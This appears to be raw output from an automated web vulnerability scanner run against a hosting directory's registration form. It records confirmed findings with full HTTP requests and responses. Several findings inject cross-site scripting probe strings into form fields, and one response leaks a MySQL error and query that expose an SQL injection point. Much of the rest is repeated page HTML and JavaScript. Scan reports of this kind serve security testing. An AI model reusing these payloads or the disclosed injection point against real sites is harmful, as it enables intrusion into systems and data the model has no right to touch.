<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '"--></style></script><script>alert(0x001E13)</script>
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 557
Accept-Encoding: gzip, deflate

company_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E13)%3c%2fscript%3e&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:37:52 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 338
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001E13)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''"--></style></script><script>netsparker(0x001E13)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST '"--></style></script><script>alert(0x001E14)</script>
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 557
Accept-Encoding: gzip, deflate

company_name=Smith&first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E14)%3c%2fscript%3e&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:37:55 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D0E46F1E563A2C86CFEF7C169A4757E5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D0E46F1E563A2C864C29D16F09E98E3F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D0E46F1E563A2C86E4B641F828B9D431C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C869642CD827BAEA5C4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D0E46F1E563A2C86A8F28122F14BE9286F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D0E46F1E563A2C86FA0DB2A5C859ABBBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D0E46F1E563A2C86AA068A189FE0B389C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D0E46F1E563A2C8694FB3D27376AADFD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D0E46F1E563A2C86658EFC0BAA2242AEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D0E46F1E563A2C86752D05BD01150A556F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D0E46F1E563A2C8688584DA9A9F2AA04C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D0E46F1E563A2C863C4AA7348E5DBBADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D0E46F1E563A2C8683EF0365A86E34D6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C8690AC627E0D160841C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D0E46F1E563A2C865396F7C058BBF4C6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D0E46F1E563A2C86BF717E45B86ADF1FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D0E46F1E563A2C86F1524C6DF3E598C86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D0E46F1E563A2C8665C502194EFB36F36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D0E46F1E563A2C867CE2B520AB1897E46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST '"--></style></script><script>alert(0x001E15)</script>
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 557
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E15)%3c%2fscript%3e&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:37:58 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D0E46F1E563A2C86CEC6925B0DF7FDF8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D0E46F1E563A2C86CA2558E25E9841616F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D0E46F1E563A2C8632B042898B5A1F79C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C86E9F375264F2344EEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D0E46F1E563A2C86E9ACB875CD2B28736F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
